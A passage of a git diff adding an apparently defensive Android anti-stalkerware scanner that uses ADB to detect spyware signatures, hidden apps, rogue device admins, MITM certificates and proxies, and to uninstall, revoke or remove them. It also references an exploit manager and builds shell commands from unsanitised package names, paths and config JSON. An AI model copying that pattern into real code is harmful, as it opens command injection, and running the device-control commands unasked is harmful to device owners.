────────────────────────────────────────────────────── + +_manager = None + +def get_exploit_manager(): + global _manager + if _manager is None: + _manager = AndroidExploitManager() + return _manager diff --git a/core/android_protect.py b/core/android_protect.py new file mode 100644 index 0000000..758838e --- /dev/null +++ b/core/android_protect.py @@ -0,0 +1,1910 @@ +""" +AUTARCH Android Protection Shield +Anti-stalkerware and anti-spyware detection, analysis, and remediation. + +Detects: +- Commercial stalkerware (400+ package signatures) +- Government-grade spyware (Pegasus, Predator, Hermit, FinSpy, etc.) +- Hidden apps, rogue device admins, suspicious accessibility services +- MITM certificates, proxy hijacking, dangerous permission combos + +Remediates: +- Disable/uninstall threats, revoke permissions, remove device admins +- Clear rogue CA certs, proxy settings, developer options + +Uses HardwareManager for ADB access. Shizuku for privileged ops on non-rooted devices. +""" + +import json +import os +import random +import re +import time +import fnmatch +from datetime import datetime +from pathlib import Path +from typing import Optional, Dict, List, Any + +from core.paths import get_data_dir + + +class AndroidProtectManager: + """Anti-stalkerware / anti-spyware shield for Android devices.""" + + def __init__(self): + self._data_dir = get_data_dir() / 'android_protect' + self._data_dir.mkdir(parents=True, exist_ok=True) + + self._sig_path = get_data_dir() / 'stalkerware_signatures.json' + self._signatures = None # lazy load + + self._tracker_path = get_data_dir() / 'tracker_domains.json' + self._tracker_db = None # lazy load + + # ── Helpers ────────────────────────────────────────────────────── + + def _hw(self): + """Get HardwareManager singleton (lazy import to avoid circular).""" + from core.hardware import get_hardware_manager + return get_hardware_manager() + + def _adb(self, args, serial=None, timeout=30): + """Run ADB command via HardwareManager, return (stdout, stderr, rc).""" + return self._hw()._run_adb(args, serial=serial, timeout=timeout) + + def _adb_shell(self, cmd, serial=None, timeout=30): + """Shortcut for adb shell .""" + return self._adb(['shell'] + (cmd if isinstance(cmd, list) else [cmd]), + serial=serial, timeout=timeout) + + def _device_dir(self, serial): + """Per-device data directory.""" + safe = re.sub(r'[^\w\-.]', '_', serial) + d = self._data_dir / safe + d.mkdir(parents=True, exist_ok=True) + return d + + def _scans_dir(self, serial): + d = self._device_dir(serial) / 'scans' + d.mkdir(parents=True, exist_ok=True) + return d + + # ── Signature Database ────────────────────────────────────────── + + def _load_signatures(self): + """Load stalkerware/spyware signature database.""" + if self._signatures is not None: + return self._signatures + if not self._sig_path.exists(): + self._signatures = {} + return self._signatures + try: + with open(self._sig_path, 'r') as f: + self._signatures = json.load(f) + except (json.JSONDecodeError, OSError): + self._signatures = {} + return self._signatures + + def update_signatures(self, url=None): + """Download latest signatures from GitHub.""" + import urllib.request + if not url: + url = ('https://raw.githubusercontent.com/AssoEchap/' + 'stalkerware-indicators/master/generated/' + 'stalkerware.json') + try: + req = urllib.request.Request(url, headers={'User-Agent': 'AUTARCH/1.0'}) + with urllib.request.urlopen(req, timeout=30) as resp: + raw = json.loads(resp.read().decode()) + # Merge external indicators into our packages list + sigs = self._load_signatures() + merged = 0 + if isinstance(raw, list): + # AssoEchap format: list of objects with "package" field + if 'stalkerware' not in sigs: + sigs['stalkerware'] = {} + existing_pkgs = set() + for family in sigs['stalkerware'].values(): + for pkg in family.get('packages', []): + existing_pkgs.add(pkg) + new_family = sigs['stalkerware'].setdefault('AssoEchap Community', { + 'severity': 'critical', + 'packages': [], + 'description': 'Community-sourced stalkerware indicators' + }) + for entry in raw: + pkg = entry.get('package', '') if isinstance(entry, dict) else str(entry) + pkg = pkg.strip() + if pkg and pkg not in existing_pkgs: + new_family['packages'].append(pkg) + existing_pkgs.add(pkg) + merged += 1 + sigs['last_updated'] = datetime.now().strftime('%Y-%m-%d') + with open(self._sig_path, 'w') as f: + json.dump(sigs, f, indent=2) + self._signatures = sigs + return {'ok': True, 'merged': merged, 'source': url} + except Exception as e: + return {'ok': False, 'error': str(e)} + + def get_signature_stats(self): + """Count known threats by category.""" + sigs = self._load_signatures() + stalkerware_families = len(sigs.get('stalkerware', {})) + stalkerware_packages = sum( + len(f.get('packages', [])) + for f in sigs.get('stalkerware', {}).values() + ) + govt_spyware = len(sigs.get('government_spyware', {})) + perm_combos = len(sigs.get('dangerous_permission_combos', [])) + return { + 'stalkerware_families': stalkerware_families, + 'stalkerware_packages': stalkerware_packages, + 'government_spyware': govt_spyware, + 'permission_combos': perm_combos, + 'version': sigs.get('version', 'unknown'), + 'last_updated': sigs.get('last_updated', 'unknown'), + } + + # ── Shizuku Management ────────────────────────────────────────── + + def check_shizuku(self, serial): + """Check Shizuku installation and status.""" + result = {'installed': False, 'running': False, 'version': ''} + # Check installed + stdout, _, rc = self._adb_shell( + 'pm list packages moe.shizuku.privileged.api', serial=serial) + result['installed'] = 'moe.shizuku.privileged.api' in stdout + if not result['installed']: + return result + # Get version + stdout, _, rc = self._adb_shell( + 'dumpsys package moe.shizuku.privileged.api | grep versionName', + serial=serial) + m = re.search(r'versionName=(\S+)', stdout) + if m: + result['version'] = m.group(1) + # Check running + stdout, _, rc = self._adb_shell( + 'ps -A | grep shizuku', serial=serial, timeout=10) + result['running'] = 'shizuku' in stdout.lower() + return result + + def install_shizuku(self, serial, apk_path=None): + """Install Shizuku APK via ADB.""" + if not apk_path: + return {'ok': False, 'error': 'No APK path provided'} + if not os.path.isfile(apk_path): + return {'ok': False, 'error': f'APK not found: {apk_path}'} + stdout, stderr, rc = self._adb(['install', '-r', apk_path], + serial=serial, timeout=120) + if rc == 0 and 'Success' in stdout: + return {'ok': True, 'message': 'Shizuku installed'} + return {'ok': False, 'error': stderr or stdout} + + def start_shizuku(self, serial): + """Start Shizuku service via ADB.""" + stdout, stderr, rc = self._adb_shell( + 'sh /sdcard/Android/data/moe.shizuku.privileged.api/start.sh', + serial=serial, timeout=15) + if rc == 0: + return {'ok': True, 'output': stdout.strip()} + return {'ok': False, 'error': stderr or stdout} + + def stop_shizuku(self, serial): + """Stop Shizuku server process.""" + stdout, stderr, rc = self._adb_shell( + 'am force-stop moe.shizuku.privileged.api', serial=serial) + return {'ok': rc == 0, 'output': stdout.strip()} + + def shizuku_status(self, serial): + """Full Shizuku status check.""" + info = self.check_shizuku(serial) + # Check authorized apps + if info['running']: + stdout, _, _ = self._adb_shell( + 'dumpsys activity provider moe.shizuku.privileged.api', + serial=serial, timeout=10) + info['provider_info'] = stdout[:2000] if stdout else '' + return info + + # ── Protection App Management ─────────────────────────────────── + + def check_shield_app(self, serial): + """Check if our protection app is installed.""" + stdout, _, rc = self._adb_shell( + 'pm list packages com.autarch.shield', serial=serial) + installed = 'com.autarch.shield' in stdout + version = '' + if installed: + stdout2, _, _ = self._adb_shell( + 'dumpsys package com.autarch.shield | grep versionName', + serial=serial) + m = re.search(r'versionName=(\S+)', stdout2) + if m: + version = m.group(1) + return {'installed': installed, 'version': version} + + def install_shield_app(self, serial, apk_path): + """Install our Shield APK via ADB.""" + if not os.path.isfile(apk_path): + return {'ok': False, 'error': f'APK not found: {apk_path}'} + stdout, stderr, rc = self._adb(['install', '-r', apk_path], + serial=serial, timeout=120) + if rc == 0 and 'Success' in stdout: + return {'ok': True, 'message': 'Shield app installed'} + return {'ok': False, 'error': stderr or stdout} + + def configure_shield(self, serial, config): + """Push config to shield app via broadcast intent.""" + config_json = json.dumps(config) + stdout, stderr, rc = self._adb_shell( + f'am broadcast -a com.autarch.shield.CONFIGURE ' + f'--es config \'{config_json}\' ' + f'-n com.autarch.shield/.ConfigReceiver', + serial=serial) + return {'ok': rc == 0, 'output': stdout.strip()} + + def get_shield_status(self, serial): + """Query shield app status via broadcast + logcat.""" + # Send status query + self._adb_shell( + 'am broadcast -a com.autarch.shield.STATUS_QUERY ' + '-n com.autarch.shield/.StatusReceiver', + serial=serial) + # Read response from logcat + stdout, _, _ = self._adb( + ['logcat', '-d', '-t', '20', '-s', 'AutoarchShield:*'], + serial=serial, timeout=5) + return {'output': stdout.strip()} + + def grant_shield_permissions(self, serial): + """Auto-grant required permissions to Shield app.""" + perms = [ + 'android.permission.READ_SMS', + 'android.permission.ACCESS_FINE_LOCATION', + 'android.permission.READ_PHONE_STATE', + 'android.permission.READ_CALL_LOG', + 'android.permission.READ_CONTACTS', + 'android.permission.PACKAGE_USAGE_STATS', + ] + granted = [] + failed = [] + for perm in perms: + _, stderr, rc = self._adb_shell( + f'pm grant com.autarch.shield {perm}', serial=serial) + if rc == 0: + granted.append(perm) + else: + failed.append({'perm': perm, 'error': stderr.strip()}) + return {'granted': granted, 'failed': failed} + + # ── Stalkerware Detection ─────────────────────────────────────── + + def _get_installed_packages(self, serial): + """Get all installed packages as a set.""" + stdout, _, rc = self._adb_shell('pm list packages', serial=serial, timeout=30) + if rc != 0: + return set() + pkgs = set() + for line in stdout.strip().split('\n'): + line = line.strip() + if line.startswith('package:'): + pkgs.add(line[8:]) + return pkgs + + def scan_stalkerware(self, serial): + """Scan all installed packages against signature database.""" + sigs = self._load_signatures() + installed = self._get_installed_packages(serial) + if not installed: + return {'error': 'Could not list packages (ADB issue?)', + 'found': [], 'clean_count': 0, 'total': 0} + + found = [] + stalkerware_db = sigs.get('stalkerware', {}) + # Also check suspicious system packages + suspicious_sys = set(sigs.get('suspicious_system_packages', [])) + + for family_name, family_data in stalkerware_db.items(): + for pkg in family_data.get('packages', []): + if pkg in installed: + found.append({ + 'name': family_name, + 'package': pkg, + 'severity': family_data.get('severity', 'high'), + 'description': family_data.get('description', ''), + }) + + # Check suspicious system-mimicking packages + for pkg in installed: + if pkg in suspicious_sys: + found.append({ + 'name': 'Suspicious System Package', + 'package': pkg, + 'severity': 'high', + 'description': 'Package mimics a system app name — verify legitimacy', + }) + + matched_pkgs = {f['package'] for f in found} + return { + 'found': found, + 'clean_count': len(installed) - len(matched_pkgs), + 'total': len(installed), + } + + def scan_hidden_apps(self, serial): + """Detect apps with no launcher icon (hidden from app drawer).""" + # Get all packages + installed = self._get_installed_packages(serial) + # Get packages that have a launcher activity + stdout, _, rc = self._adb_shell( + 'cmd package query-activities -a android.intent.action.MAIN ' + '-c android.intent.category.LAUNCHER', + serial=serial, timeout=30) + launcher_pkgs = set() + if rc == 0: + for line in stdout.split('\n'): + line = line.strip() + if '/' in line: + pkg = line.split('/')[0] + launcher_pkgs.add(pkg) + elif line.startswith('package:'): + launcher_pkgs.add(line[8:].split('/')[0]) + # Fallback: try pm query-activities + if not launcher_pkgs: + stdout2, _, rc2 = self._adb_shell( + 'pm query-activities --brief -a android.intent.action.MAIN ' + '-c android.intent.category.LAUNCHER', + serial=serial, timeout=30) + if rc2 == 0: + for line in stdout2.split('\n'): + line = line.strip() + if '/' in line: + launcher_pkgs.add(line.split('/')[0]) + + # System packages that legitimately lack launcher icons + system_prefixes = ( + 'com.android.', 'com.google.android.', 'android.', + 'com.qualcomm.', 'com.samsung.', 'com.huawei.', + 'com.mediatek.', 'com.oppo.', 'com.vivo.', + 'com.xiaomi.', 'com.oneplus.', 'com.coloros.', + 'org.codeaurora.', 'com.oem.', 'com.sec.', + ) + + hidden = [] + for pkg in installed: + if pkg not in launcher_pkgs: + if any(pkg.startswith(p) for p in system_prefixes): + continue + hidden.append(pkg) + + return {'hidden_apps': sorted(hidden), 'count': len(hidden)} + + def scan_device_admins(self, serial): + """List device admin apps, flag suspicious ones.""" + stdout, _, rc = self._adb_shell( + 'dumpsys device_policy', serial=serial, timeout=15) + admins = [] + if rc != 0: + return {'admins': [], 'error': 'Could not query device policy'} + + # Parse admin entries + current = None + for line in stdout.split('\n'): + line = line.strip() + m = re.match(r'Admin\s*\((.+?)\):', line) + if not m: + m = re.match(r'(\S+/\S+):', line) + if m: + comp = m.group(1) + pkg = comp.split('/')[0] if '/' in comp else comp + current = {'component': comp, 'package': pkg, 'flags': []} + admins.append(current) + elif current and '=' in line: + current['flags'].append(line) + + # Flag known-bad + sigs = self._load_signatures() + known_bad = set() + for family in sigs.get('stalkerware', {}).values(): + known_bad.update(family.get('packages', [])) + + for a in admins: + a['suspicious'] = a['package'] in known_bad + + return {'admins': admins, 'count': len(admins)} + + def scan_accessibility_services(self, serial): + """List accessibility services, flag non-legitimate ones.""" + stdout, _, rc = self._adb_shell( + 'settings get secure enabled_accessibility_services', + serial=serial, timeout=10) + services = [] + if rc != 0 or not stdout.strip() or stdout.strip() == 'null': + return {'services': [], 'count': 0} + + sigs = self._load_signatures() + legit = set(sigs.get('legitimate_accessibility_apps', [])) + known_bad = set() + for family in sigs.get('stalkerware', {}).values(): + known_bad.update(family.get('packages', [])) + + for svc in stdout.strip().split(':'): + svc = svc.strip() + if not svc: + continue + pkg = svc.split('/')[0] if '/' in svc else svc + status = 'legitimate' if pkg in legit else ( + 'malicious' if pkg in known_bad else 'unknown') + services.append({ + 'service': svc, + 'package': pkg, + 'status': status, + }) + + return {'services': services, 'count': len(services)} + + def scan_usage_access(self, serial): + """Apps with usage stats access.""" + stdout, _, rc = self._adb_shell( + 'appops query-op USAGE_STATS allow', serial=serial, timeout=10) + apps = [] + if rc == 0 and stdout.strip(): + for line in stdout.strip().split('\n'): + pkg = line.strip() + if pkg: + apps.append(pkg) + # Fallback + if not apps: + stdout2, _, _ = self._adb_shell( + 'dumpsys usagestats | grep "package="', serial=serial, timeout=15) + if stdout2: + for line in stdout2.split('\n'): + m = re.search(r'package=(\S+)', line) + if m: + apps.append(m.group(1)) + apps = list(set(apps)) + return {'apps': sorted(apps), 'count': len(apps)} + + def scan_notification_listeners(self, serial): + """Apps reading notifications.""" + stdout, _, rc = self._adb_shell( + 'settings get secure enabled_notification_listeners', + serial=serial, timeout=10) + listeners = [] + if rc != 0 or not stdout.strip() or stdout.strip() == 'null': + return {'listeners': [], 'count': 0} + + sigs = self._load_signatures() + known_bad = set() + for family in sigs.get('stalkerware', {}).values(): + known_bad.update(family.get('packages', [])) + + for svc in stdout.strip().split(':'): + svc = svc.strip() + if not svc: + continue + pkg = svc.split('/')[0] if '/' in svc else svc + listeners.append({ + 'service': svc, + 'package': pkg, + 'suspicious': pkg in known_bad, + }) + + return {'listeners': listeners, 'count': len(listeners)} + + # ── Government Spyware Detection ──────────────────────────────── + + def scan_spyware_indicators(self, serial): + """Check for known government spyware file paths, processes.""" + sigs = self._load_signatures() + govt = sigs.get('government_spyware', {}) + findings = [] + + for name, data in govt.items(): + indicators = data.get('indicators', {}) + matched = [] + + # Check processes + for proc in indicators.get('processes', []): + stdout, _, rc = self._adb_shell( + f'ps -A | grep -i {proc}', serial=serial, timeout=5) + if rc == 0 and proc.lower() in stdout.lower(): + matched.append({'type': 'process', 'value': proc, + 'evidence': stdout.strip()[:200]}) + + # Check files + for fpath in indicators.get('files', []): + stdout, _, rc = self._adb_shell( + f'ls -la {fpath} 2>/dev/null', serial=serial, timeout=5) + if rc == 0 and stdout.strip() and 'No such file' not in stdout: + matched.append({'type': 'file', 'value': fpath, + 'evidence': stdout.strip()[:200]}) + + # Check properties + for prop in indicators.get('properties', []): + stdout, _, rc = self._adb_shell( + f'getprop {prop}', serial=serial, timeout=5) + if rc == 0 and stdout.strip(): + matched.append({'type': 'property', 'value': prop, + 'evidence': stdout.strip()[:200]}) + + if matched: + findings.append({ + 'name': name, + 'severity': data.get('severity', 'critical'), + 'description': indicators.get('description', + data.get('description', '')), + 'indicators_matched': matched, + }) + + return {'findings': findings, 'count': len(findings), + 'spyware_checked': len(govt)} + + def scan_system_integrity(self, serial): + """Verify system hasn't been tampered with.""" + checks = {} + + # SELinux status + stdout, _, _ = self._adb_shell('getenforce', serial=serial, timeout=5) + selinux = stdout.strip() + checks['selinux'] = { + 'value': selinux, + 'ok': selinux.lower() == 'enforcing', + 'description': 'SELinux should be Enforcing' + } + + # Build fingerprint + stdout, _, _ = self._adb_shell( + 'getprop ro.build.fingerprint', serial=serial, timeout=5) + checks['build_fingerprint'] = { + 'value': stdout.strip(), + 'ok': bool(stdout.strip()), + 'description': 'Build fingerprint present' + } + + # Verity mode + stdout, _, _ = self._adb_shell( + 'getprop ro.boot.veritymode', serial=serial, timeout=5) + verity = stdout.strip() + checks['verity'] = { + 'value': verity or 'not set', + 'ok': verity.lower() in ('enforcing', ''), + 'description': 'DM-Verity should be enforcing or not set' + } + + # Root check — su binary + stdout, _, rc = self._adb_shell( + 'which su 2>/dev/null', serial=serial, timeout=5) + has_su = bool(stdout.strip()) + checks['su_binary'] = { + 'value': stdout.strip() or 'not found', + 'ok': not has_su, + 'description': 'su binary should not be present' + } + + # Boot state + stdout, _, _ = self._adb_shell( + 'getprop ro.boot.verifiedbootstate', serial=serial, timeout=5) + vb = stdout.strip() + checks['verified_boot'] = { + 'value': vb or 'unknown', + 'ok': vb.lower() in ('green', ''), + 'description': 'Verified boot state should be green' + } + + ok_count = sum(1 for c in checks.values() if c['ok']) + return {'checks': checks, 'ok_count': ok_count, + 'total': len(checks)} + + def scan_suspicious_processes(self, serial): + """Find suspicious processes.""" + findings = [] + + # Processes in /data/local/tmp/ + stdout, _, rc = self._adb_shell( + 'ls -la /data/local/tmp/ 2>/dev/null', serial=serial, timeout=10) + if rc == 0 and stdout.strip(): + for line in stdout.strip().split('\n'): + line = line.strip() + if line and not line.startswith('total') and not line.startswith('d'): + findings.append({ + 'type': 'tmp_file', + 'detail': line, + 'severity': 'high', + 'description': 'File in /data/local/tmp/ — often used by exploits' + }) + + # Running processes as root (non-standard) + stdout, _, rc = self._adb_shell( + 'ps -A -o USER,PID,NAME 2>/dev/null || ps -A', + serial=serial, timeout=10) + if rc == 0: + for line in stdout.strip().split('\n')[1:]: # skip header + parts = line.split() + if len(parts) >= 3: + user, pid, name = parts[0], parts[1], parts[-1] + # Flag unknown root processes + if user == 'root' and not any( + name.startswith(p) for p in ( + 'init', 'kthread', 'logd', 'vold', 'lmkd', + 'servicemanager', 'surfaceflinger', 'zygote', + 'adbd', 'healthd', 'installd', 'netd', 'storaged', + '/system/', '/vendor/', '[', 'ueventd', 'sh', + ) + ): + # Only flag unusual ones + if '/' in name and '/data/' in name: + findings.append({ + 'type': 'suspicious_process', + 'detail': f'{name} (PID {pid}, user {user})', + 'severity': 'high', + 'description': 'Root process running from /data/' + }) + + return {'findings': findings, 'count': len(findings)} + + def scan_certificates(self, serial): + """Check CA certificate store for MITM certs.""" + findings = [] + + # User-installed CA certs + stdout, _, rc = self._adb_shell( + 'ls /data/misc/user/0/cacerts-added/ 2>/dev/null', + serial=serial, timeout=10) + if rc == 0 and stdout.strip(): + for cert in stdout.strip().split('\n'): + cert = cert.strip() + if cert: + # Get cert details + detail_out, _, _ = self._adb_shell( + f'openssl x509 -in /data/misc/user/0/cacerts-added/{cert} ' + f'-noout -subject -issuer 2>/dev/null', + serial=serial, timeout=5) + findings.append({ + 'hash': cert, + 'detail': detail_out.strip() if detail_out else 'Unknown', + 'severity': 'high', + 'description': 'User-installed CA certificate — may enable MITM' + }) + + # Also check settings for cert count + stdout2, _, _ = self._adb_shell( + 'settings get global num_user_ca_certs 2>/dev/null', + serial=serial, timeout=5) + + return { + 'certs': findings, + 'count': len(findings), + 'user_ca_count': stdout2.strip() if stdout2 and stdout2.strip() != 'null' else '0' + } + + def scan_network_config(self, serial): + """Check for rogue proxy, DNS, VPN.""" + checks = {} + + # Global HTTP proxy + stdout, _, _ = self._adb_shell( + 'settings get global http_proxy', serial=serial, timeout=5) + proxy = stdout.strip() + checks['http_proxy'] = { + 'value': proxy if proxy and proxy != 'null' and proxy != ':0' else 'none', + 'ok': not proxy or proxy in ('null', ':0', ''), + 'description': 'HTTP proxy setting' + } + + # Global proxy host/port + for setting in ('global_http_proxy_host', 'global_http_proxy_port'): + stdout, _, _ = self._adb_shell( + f'settings get global {setting}', serial=serial, timeout=5) + val = stdout.strip() + checks[setting] = { + 'value': val if val and val != 'null' else 'none', + 'ok': not val or val in ('null', ''), + } + + # DNS + stdout, _, _ = self._adb_shell( + 'getprop net.dns1', serial=serial, timeout=5) + dns = stdout.strip() + checks['dns1'] = { + 'value': dns or 'default', + 'ok': True, # We just report it + 'description': 'Primary DNS server' + } + + # Private DNS + stdout, _, _ = self._adb_shell( + 'settings get global private_dns_mode', serial=serial, timeout=5) + checks['private_dns'] = { + 'value': stdout.strip() or 'default', + 'ok': True, + 'description': 'Private DNS mode' + } + + # Active VPN + stdout, _, _ = self._adb_shell( + 'dumpsys connectivity | grep -i "vpn"', serial=serial, timeout=10) + has_vpn = 'CONNECTED' in stdout.upper() if stdout else False + checks['vpn_active'] = { + 'value': 'Active' if has_vpn else 'None', + 'ok': True, # VPN is not inherently bad + 'description': 'Active VPN connection' + } + + ok_count = sum(1 for c in checks.values() if c.get('ok', True)) + return {'checks': checks, 'ok_count': ok_count, 'total': len(checks)} + + def scan_developer_options(self, serial): + """Check developer options state.""" + checks = {} + + settings_map = { + 'adb_enabled': ('global', 'USB Debugging'), + 'development_settings_enabled': ('global', 'Developer Options'), + 'install_non_market_apps': ('secure', 'Unknown Sources (legacy)'), + 'allow_mock_location': ('secure', 'Mock Locations'), + } + + for setting, (namespace, desc) in settings_map.items(): + stdout, _, _ = self._adb_shell( + f'settings get {namespace} {setting}', + serial=serial, timeout=5) + val = stdout.strip() + enabled = val == '1' + checks[setting] = { + 'value': 'enabled' if enabled else 'disabled', + 'enabled': enabled, + 'description': desc, + } + + # OEM unlock + stdout, _, _ = self._adb_shell( + 'getprop sys.oem_unlock_allowed', serial=serial, timeout=5) + oem = stdout.strip() + checks['oem_unlock'] = { + 'value': 'allowed' if oem == '1' else 'locked', + 'enabled': oem == '1', + 'description': 'OEM Unlock', + } + + return {'checks': checks} + + # ── Permission Analysis ───────────────────────────────────────── + + def analyze_app_permissions(self, serial, package): + """Full permission breakdown for one app.""" + stdout, _, rc = self._adb_shell( + f'dumpsys package {package}', serial=serial, timeout=15) + if rc != 0: + return {'error': f'Could not query package {package}'} + + perms = {'granted': [], 'denied': [], 'install': []} + in_perms = False + for line in stdout.split('\n'): + line = line.strip() + if 'requested permissions:' in line.lower(): + in_perms = True + continue + if 'install permissions:' in line.lower(): + in_perms = False + continue + if in_perms and line.startswith('android.permission.'): + perms['install'].append(line.rstrip(':')) + # Runtime permissions + m = re.match(r'(android\.permission\.\w+).*granted=(\w+)', line) + if m: + perm_name, granted = m.group(1), m.group(2) + if granted == 'true': + perms['granted'].append(perm_name) + else: + perms['denied'].append(perm_name) + + # Get app info + info = {} + for line in stdout.split('\n'): + line = line.strip() + if line.startswith('versionName='): + info['version'] = line.split('=', 1)[1] + elif 'firstInstallTime=' in line: + info['first_install'] = line.split('=', 1)[1] + elif 'lastUpdateTime=' in line: + info['last_update'] = line.split('=', 1)[1] + + return {'package': package, 'permissions': perms, 'info': info} + + def find_dangerous_apps(self, serial): + """Find apps with dangerous permission combinations.""" + sigs = self._load_signatures() + combos = sigs.get('dangerous_permission_combos', []) + installed = self._get_installed_packages(serial) + + # System packages to skip + system_prefixes = ( + 'com.android.', 'com.google.android.', 'android.', + 'com.samsung.', 'com.huawei.', 'com.qualcomm.', + ) + + dangerous = [] + for pkg in installed: + if any(pkg.startswith(p) for p in system_prefixes): + continue + # Get permissions + stdout, _, rc = self._adb_shell( + f'dumpsys package {pkg} | grep "android.permission"', + serial=serial, timeout=10) + if rc != 0 or not stdout: + continue + app_perms = set() + for line in stdout.split('\n'): + m = re.search(r'(android\.permission\.[\w.]+)', line) + if m: + app_perms.add(m.group(1).replace('android.permission.', '')) + + # Check combos + for combo in combos: + combo_perms = combo if isinstance(combo, list) else combo.get('permissions', []) + combo_name = combo.get('name', 'unknown') if isinstance(combo, dict) else 'pattern' + combo_sev = combo.get('severity', 'high') if isinstance(combo, dict) else 'high' + if all(p in app_perms for p in combo_perms): + dangerous.append({ + 'package': pkg, + 'combo': combo_name, + 'severity': combo_sev, + 'matched_perms': combo_perms, + }) + break # One match per app is enough + + return {'dangerous': dangerous, 'count': len(dangerous)} + + def permission_heatmap(self, serial): + """Which apps have which dangerous permissions (matrix view).""" + installed = self._get_installed_packages(serial) + system_prefixes = ( + 'com.android.', 'com.google.android.', 'android.', + 'com.samsung.', 'com.huawei.', 'com.qualcomm.', + ) + + dangerous_perms = [ + 'CAMERA', 'RECORD_AUDIO', 'ACCESS_FINE_LOCATION', + 'READ_SMS', 'READ_CONTACTS', 'READ_CALL_LOG', + 'READ_EXTERNAL_STORAGE', 'BIND_ACCESSIBILITY_SERVICE', + 'SYSTEM_ALERT_WINDOW', 'READ_PHONE_STATE', + 'ACCESS_BACKGROUND_LOCATION', 'RECEIVE_BOOT_COMPLETED', + ] + + matrix = [] + for pkg in sorted(installed): + if any(pkg.startswith(p) for p in system_prefixes): + continue + stdout, _, rc = self._adb_shell( + f'dumpsys package {pkg} | grep -E "android.permission.({"|".join(dangerous_perms)})"', + serial=serial, timeout=10) + if rc != 0 or not stdout.strip(): + continue + + app_perms = set() + for line in stdout.split('\n'): + for perm in dangerous_perms: + if perm in line and 'granted=true' in line: + app_perms.add(perm) + + if app_perms: + matrix.append({ + 'package': pkg, + 'permissions': {p: p in app_perms for p in dangerous_perms}, + 'count': len(app_perms), + }) + + matrix.sort(key=lambda x: x['count'], reverse=True) + return {'matrix': matrix, 'permission_names': dangerous_perms, + 'app_count': len(matrix)} + + # ── Remediation ───────────────────────────────────────────────── + + def disable_threat(self, serial, package): + """Disable a stalkerware package.""" + stdout, stderr, rc = self._adb_shell( + f'pm disable-user --user 0 {package}', serial=serial) + if rc == 0: + return {'ok': True, 'message': f'{package} disabled'} + return {'ok': False, 'error': stderr or stdout} + + def uninstall_threat(self, serial, package): + """Uninstall a stalkerware package.""" + stdout, stderr, rc = self._adb_shell( + f'pm uninstall --user 0 {package}', serial=serial, timeout=30) + if rc == 0 and 'Success' in stdout: + return {'ok': True, 'message': f'{package} uninstalled'} + # Try without --user flag + stdout, stderr, rc = self._adb_shell( + f'pm uninstall {package}', serial=serial, timeout=30) + if rc == 0 and 'Success' in stdout: + return {'ok': True, 'message': f'{package} uninstalled'} + return {'ok': False, 'error': stderr or stdout} + + def revoke_dangerous_perms(self, serial, package): + """Revoke all dangerous permissions from a package.""" + dangerous = [ + 'READ_SMS', 'SEND_SMS', 'RECEIVE_SMS', + 'READ_CONTACTS', 'WRITE_CONTACTS', + 'READ_CALL_LOG', 'WRITE_CALL_LOG', + 'CAMERA', 'RECORD_AUDIO', + 'ACCESS_FINE_LOCATION', 'ACCESS_COARSE_LOCATION', + 'ACCESS_BACKGROUND_LOCATION', + 'READ_PHONE_STATE', 'CALL_PHONE', + 'READ_EXTERNAL_STORAGE', 'WRITE_EXTERNAL_STORAGE', + ] + revoked = [] + failed = [] + for perm in dangerous: + full = f'android.permission.{perm}' + _, stderr, rc = self._adb_shell( + f'pm revoke {package} {full}', serial=serial) + if rc == 0: + revoked.append(perm) + else: + if 'not a changeable permission type' not in (stderr or ''): + failed.append(perm) + return {'revoked': revoked, 'failed': failed, 'package': package} + + def remove_device_admin(self, serial, package): + """Remove device admin before uninstall.""" + # Try to find the admin receiver component + stdout, _, _ = self._adb_shell( + f'dumpsys device_policy | grep {package}', + serial=serial, timeout=10) + component = None + for line in stdout.split('\n'): + m = re.search(r'(\S+/\S+)', line) + if m and package in m.group(1): + component = m.group(1) + break + + if component: + _, stderr, rc = self._adb_shell( + f'dpm remove-active-admin {component}', serial=serial) + if rc == 0: + return {'ok': True, 'message': f'Removed admin: {component}'} + return {'ok': False, 'error': stderr} + + # Fallback: try package/DeviceAdminReceiver + _, stderr, rc = self._adb_shell( + f'dpm remove-active-admin {package}/.DeviceAdminReceiver', + serial=serial) + if rc == 0: + return {'ok': True, 'message': f'Removed admin: {package}'} + return {'ok': False, 'error': 'Could not find device admin component'} + + def remove_ca_cert(self, serial, cert_hash): + """Remove a user-installed CA cert.""" + path = f'/data/misc/user/0/cacerts-added/{cert_hash}' + _, stderr, rc = self._adb_shell( + f'rm {path}', serial=serial) + if rc == 0: + return {'ok': True, 'message': f'Removed cert {cert_hash}'} + return {'ok': False, 'error': stderr or 'Failed to remove cert (may need root)'} + + def clear_proxy(self, serial): + """Remove proxy settings.""" + results = [] + for setting in ('http_proxy', 'global_http_proxy_host', + 'global_http_proxy_port', 'global_http_proxy_exclusion_list'): + _, stderr, rc = self._adb_shell( + f'settings put global {setting} :0' if setting == 'http_proxy' + else f'settings delete global {setting}', + serial=serial) + results.append({'setting': setting, 'ok': rc == 0}) + return {'results': results} + + def disable_usb_debug(self, serial): + """Turn off USB debugging.""" + _, stderr, rc = self._adb_shell( + 'settings put global adb_enabled 0', serial=serial) + return {'ok': rc == 0, + 'message': 'USB debugging disabled' if rc == 0 else stderr} + + # ── Full Scans ────────────────────────────────────────────────── + + def quick_scan(self, serial): + """Fast scan: stalkerware + device admins + accessibility only.""" + results = { + 'type': 'quick', + 'serial': serial, + 'timestamp': datetime.now().isoformat(), + } + results['stalkerware'] = self.scan_stalkerware(serial) + results['device_admins'] = self.scan_device_admins(serial) + results['accessibility'] = self.scan_accessibility_services(serial) + + # Summary + threats = len(results['stalkerware'].get('found', [])) + suspicious_admins = sum( + 1 for a in results['device_admins'].get('admins', []) + if a.get('suspicious')) + bad_a11y = sum( + 1 for s in results['accessibility'].get('services', []) + if s.get('status') == 'malicious') + + results['summary'] = { + 'threats_found': threats + suspicious_admins + bad_a11y, + 'stalkerware': threats, + 'suspicious_admins': suspicious_admins, + 'malicious_accessibility': bad_a11y, + } + return results + + def full_protection_scan(self, serial): + """Run ALL scans, return comprehensive report.""" + results = { + 'type': 'full', + 'serial': serial, + 'timestamp': datetime.now().isoformat(), + } + + results['stalkerware'] = self.scan_stalkerware(serial) + results['hidden_apps'] = self.scan_hidden_apps(serial) + results['device_admins'] = self.scan_device_admins(serial) + results['accessibility'] = self.scan_accessibility_services(serial) + results['notification_listeners'] = self.scan_notification_listeners(serial) + results['usage_access'] = self.scan_usage_access(serial) + results['spyware_indicators'] = self.scan_spyware_indicators(serial) + results['system_integrity'] = self.scan_system_integrity(serial) + 